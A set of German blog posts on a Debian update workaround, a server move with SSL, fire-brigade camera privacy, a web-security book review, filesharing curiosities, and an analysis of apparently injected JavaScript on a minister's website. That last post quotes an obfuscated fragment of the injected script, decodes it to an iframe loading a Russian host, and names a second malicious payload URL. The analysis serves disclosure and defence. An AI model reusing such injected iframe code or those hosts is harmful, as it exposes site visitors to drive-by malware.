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Platzprobleme beim Update

Ich stelle gerade wieder fest, dass ich das Linux wegen seiner Flexibilität mag. Gerade eben war ich dabei, die Software auf dem Rechner auf den neuesten Stand zu bringen. Unterwegs meinte apt-get, dass die Festplatte voll ist. Debian lädt alle Updates zuerst in das Verzeichnis /var/cache/apt/archives. Der Update umfasste mehr als zwei Gigabyte und im Verzeichnis waren weniger als ein Gigabyte frei. Tja, was tun?

In meinem Home-Verzeichnis gab es genügend Platz. Also habe ich mittels dd if=/dev/zero of=vcaa.img bs=$((3024*1024*1024)) eine drei Gigabyte große Datei angelegt. Diese wurde dann durch mke2fs -j vcaa.img zu einem ext3-Dateisystem und mit mount -o loop -t ext3 vcaa.img /var/cache/apt/archives habe ich die Datei ins Dateisystem eingebunden.

Nun werden die Dateien heruntergeladen, installiert und wenn alles abgeschlossen ist, lösche ich die Datei wieder und der Rechner ist aktualisiert. :-) Ich frage mich, wie man sowas unter Windows anstellt.

In Zukunft sollte ich darauf achten, entweder schneller Updates auf dem Rechner durchzuführen oder mal über die Struktur des Dateisystems nachzudenken.

Auswirkungen des Serverumzugs

Ende letzten Jahres zog ich mit der Webseite auf einen anderen Server um. Der alte Server war etwas schwach auf der Brust. Einige Trafficspitzen bei meinen Seiten sorgten dafür, dass die Load sehr hoch ging. Der neue Webserver verträgt die Last sehr gut. Die Seiten werden daher schneller ausgeliefert und offensichtlich erzeugt, das jetzt mehr Traffic. Seit dem Umzug habe ich jeden Tag konstant mehr Traffic. In der Statistik ergibt sich folgendes Bild:

Traffic auf kubieziel.de

Die zweite gute Nachricht ist, dass Uberspace Server Name Indication (SNI) beim Webserver einsetzen. Das heißt, ich kann für die Seite ein eigenes SSL-Zertifikat nutzen. Daher könnt ihr ab sofort auf https://kubieziel.de/ aufrufen. Ich nutze hierfür ein Zertifikat von StartCOM. Im Gegensatz zu CAcert haben die den Vorteil, im Browser integriert zu sein. Der Nutzer muss sich also nicht durch eventuell unverständliche Meldungen quälen.

Ich werde versuchen, einen Eintrag in der Erweiterung HTTPS Everywhere zu bekommen. Wer also Firefox oder Chrome benutzt und das Plugn installiert hat, kommt dann automatisch zu den SSL-Seiten.

Im Februar 2013 wird hier also alles noch schöner, toller und überhaupt. :-)

Videoüberwachung bei der Jenaer Feuerwehr

Im März 2012 besuchte ich den Thüringer Landesdatenschutzbeauftragten. Er war damals gerade neu ins Amt gekommen und so wollte ich die Gelegenheit nutzen, ihn kennenzulernen und ihn zu seinen Aufgaben zu befragen. Das Interview wurde im Rahmen der vierten Datenkanalsendung ausgestrahlt.

Kurz vor dem Interview war ich auf der Leitstelle der Jenaer Feuerwehr. Dort fiel mir eine Videokamera auf. Ich vermutete eine Mobotix Dual Night M12D. Da die Kamera neben Bild- auch Tonaufnahmen anfertigen kann, beschloss ich den Datenschutzbeauftragten dazu zu befragen. Mittlerweile liegt mir eine Antwort vor.

Die Datenschützer holten einige Informationen bei der Stadtverwaltung Jena ein. Unter anderem erhielten sie Screenshots vom Aufnahmebild. Entgegen meiner Vermutung nimmt die Kamera nicht den angrenzenden Fußgängerweg auf. Die Aufnahme beschränkt sich auf das Betriebsgelände der Feuerwehr. Damit gibt es diesbezüglich nichts zu beanstanden. Allerdings ist das Mikrofon bedenklich. Hier versuchen die Datenschützer zusammen mit der Stadt Jena eine Lösung zu erarbeiten. Sobald ich mehr weiß, gebe ich Bescheid. Mittlerweile bin ich zwei Verstößen gegen den Datenschutz in Thüringen auf der Spur. Ich hoffe, auch dazu bald mehr berichten zu können.

In der Zwischenzeit empfiehlt es sich, die anderen Sendungen des Datenkanals anzuhören. ;-)

Rezension des Buches „Web-Sicherheit“ von Sebastian Kübeck

Da die Rezension etwas länger wurde, gibt es in der Artikelübersicht eine Zusammenfassung und in der erweiterten Ansicht alle Details.

Ich wurde kürzlich auf das Buch „Web-Sicherheit – Wie Sie Ihre Webanwendungen sicher vor Angriffen schützen“ von Sebastian Kübeck aufmerksam. Das Thema Web-Sicherheit spielt im Rahmen meiner Vorlesung zu IT-Sicherheit eine Rolle und daher war ich sehr daran interessiert, das Buch kennen zu lernen.

Der Aufbau des Buches gefiel mir sehr gut. Der Leser kann sich zuerst theoretisches Wissen erarbeiten, steigt dann in praktische Aspekte ein und lernt schließlich, wie er die Probleme umgeht.

Beim Lesen fiel mir dann auf, dass einige Teile meinen Erwartungen nicht gerecht werden. So wäre es bei einem Buch über Webanwendungen wünschenswert, dass es zumindest stichpunktartig auf die Techniken des Internet und des Web eingeht. Dieser Teil fehlt hier fast vollständig. Auch werden relevante Aspekte wie beispielsweise SSL zu kurz behandelt. Demgegenüber halte ich die Erwähnung des BTX-Hacks und anderer im Rahmen des Buches vernachlässigenswert.

Im ersten und zweiten Teil des Buches findet sich ein ausführliches Literaturverzeichnis. Das sollte dem Leser helfen, tiefer in die Thematik einzusteigen. Es wäre besser, dass die Zitierschlüssel geändert werden und mehr auf Fachliteratur statt auf Zeitschriftenartikel verwiesen wird.

Ich kann mich schlecht mit Java als Sprache für das Buch anfreunden. Aus verschiedenen Aspekten halte ich diese für weniger gut geeignet und Sprachen wie PHP, Python oder Ruby wären für mich eine bessere Wahl gewesen.

Im Buch selbst ist nach meiner Meinung zu viel Quellcode zu finden. Mindestens ein Fünftel besteht aus abgedrucktem Quellcode. Dabei ist zu viel Irrelevantes mit gedruckt. Für die Beispiele im Buch reichen oft wenige Zeilen. Code über viele Seiten finde ich zu unübersichtlich. Insbesondere auf Grund der Tatsache, dass sich der Autor auch die Arbeit gemacht hat und eine Demoanwendung mitliefert. Hier wäre es empfehlenswert, einfach die zur Erklärung des Beispiels relevanten Zeilen zu drucken und dann auf die betreffende Datei in der Demoanwendung zu verweisen.

Insgesamt bietet das Buch Licht und Schatten. Es hat viele gute Ansätze, die aber noch ausgearbeitet werden sollten. Wenn der Autor dies in einer nächsten Auflage schafft, so ist das Buch dann zu empfehlen. Derzeit bin ich unsicher, ob das Buch dem Publikum wirklich den erhofften Mehrwert bringt.

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Filesharing mit Twitter

Um Twitter entstehen immer mehr Dienste. Am bekanntesten ist sicher Twitpic, um Fotos zu twittern. Eine neue Idee ist nun, Filesharing per Twitter zu betreiben. Auf TwileShare loggt man sich mit seinem Twitter-Account ein und kann Bilder, Microsoft-Word- und PDF-Dateien hochladen. Jedem Nutzer stehen derzeit ein GigaByte zur Verfügung.

Dann fehlen nur noch:

via TechCrunch

Filesharing mal anders

USB aus der Wand

Das ist doch mal ein Filesharing-Netzwerk, was seinen Namen verdient. Dead drops, zu deutsch: Toter Briefkasten. Die Idee ist, dass USB-Sticks in Wände oder anderes eingelassen werden. Eine Person schließt nun sein Gerät an den Stick an, lädt Dateien hoch bzw. runter und ist glücklich. Es wäre doch spannend, wenn aus vielen Wänden USB-Anschlüsse heraus schauen. :-)

Ein paar Fotos gibt es bei Flickr.

Schadcode bei ilse-aigner.de?

Rainer fragte sich und die identi.caer (später auch die Blogleser), ob denn die Webseite von Ilse Aigner gehackt ist. Der erste Blick auf die Seite liess mich in der Tat erstaunen:

Webseite ohne JavaScript

Ich habe die Firefox-Erweiterung NoScript aktiviert und die Browserweiche der Webseite wurde aktiv. Aber bereits hier war das Problem im HTML-Code zu sehen. Eine enorme Menge JavaScript. Im erweiterten Teil des Beitrages findet ihr den kompletten Schnippsel. Ich habe da nur an jedem Semikolon einen Umbruch eingebaut.

Innerhalb des JavaScript-Teiles werden diverse Variablen angelegt und nie benutzt. Es gibt die merkwürdige Zeile eturn ’h3t)t|p3:3/3/)q)l)k|eJ.Jr)u$/|i|nJd)e|x).)h|t|m|l|’.qK(/[\|J\$3\)]/g, ’’); und andere Nettigkeiten. Ich habe dann mal versucht, das Puzzle sinnvoll wieder zusammen zu setzen. Nach meiner Meinung dient der Code dazu, innerhalb der Webseite einen Bereich zu öffnen (IFrame). Dort wird der Inhalt der Seite qlke.ru/index.html geladen. Im nächsten Schritt wäre es also von Interesse, was in dieser Datei steht.

Ich versuchte also zunächst ein GET /index.html HTTP/1.1 bei der Seite und erhielt als Antwort:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 18 Jun 2010 13:00:01 GMT
Content-Type: text/html
Connection: close
Last-Modified: Mon, 14 Jun 2010 15:01:58 GMT
ETag: “a6600e-2881-488fec52d6580”
Accept-Ranges: bytes
Content-Length: 10369
Vary: Accept-Encoding

404 Not found

Wie man sieht, habe ich den Abruf heute gemacht. Leider habe ich den kompletten HTTP-Header nicht gespeichert. Insofern könnte der Teil ab Last-Modified vorher anders gewesen sein. Sehr markant finde ich, dass der Webserver meint, es sei alles in Ordnung (200 OK), währenddessen eine nicht gefundene Seite vorgespiegelt wird. Das kann natürlich ein Fehler in der Konfiguration sein. Viel wahrscheinlicher hielt ich das jedoch für einen Platzhalter, der später durch Schadcode ersetzt wird. Mittlerweile hat sich diese Vermutung wahrscheinlich bestätigt. Denn diese Seite enthält jetzt HTML und wieder JavaScript. Das lädt dann Code von der Seite http@//bijitersto@com/cgibin/index@php (Ich habe mal Doppelpunkt und Punkt durch @ ersetzt) nach. Firefox meldet diese Seite sofort als attackierende Seite. Also seit vorsichtig beim Betreten.

Der Server auf dem qlke.ru läuft, steht derzeit in Österreich. Die zweitgenannte Seite läuft derzeit auf einem Rechner in der Ukraine. Also insgesamt sieht das Ganze nicht unbedingt so aus, als ob das die Verbraucherschutzministerin ihren Besuchern anbieten will.

Ich frage mich, wie der Quellcode überhaupt auf die Seite von ilse-aigner.de gekommen ist. Hat da jemand den Rechner gehackt bzw. die Software, die die Webseiten ausliefert? Offensichtlich hatten die Besucher der Webseite von Ilse Aigner viel Glück. Denn die Angreifer hatten ihre Munition noch nicht an den Start gebracht. Ein erster Kontaktversuch zu den Betreibern der Webseite von Ilse Aigner lief leider ins Leere, da E-Mails an den Webmaster als unzustellbar zurückkamen. Ich werde eventuell Frau Aigner direkt um Stellungnahme bitten. Falls ich Rückmeldung erhalte, werde ich nochmal ein paar Zeilen dazu schreiben.

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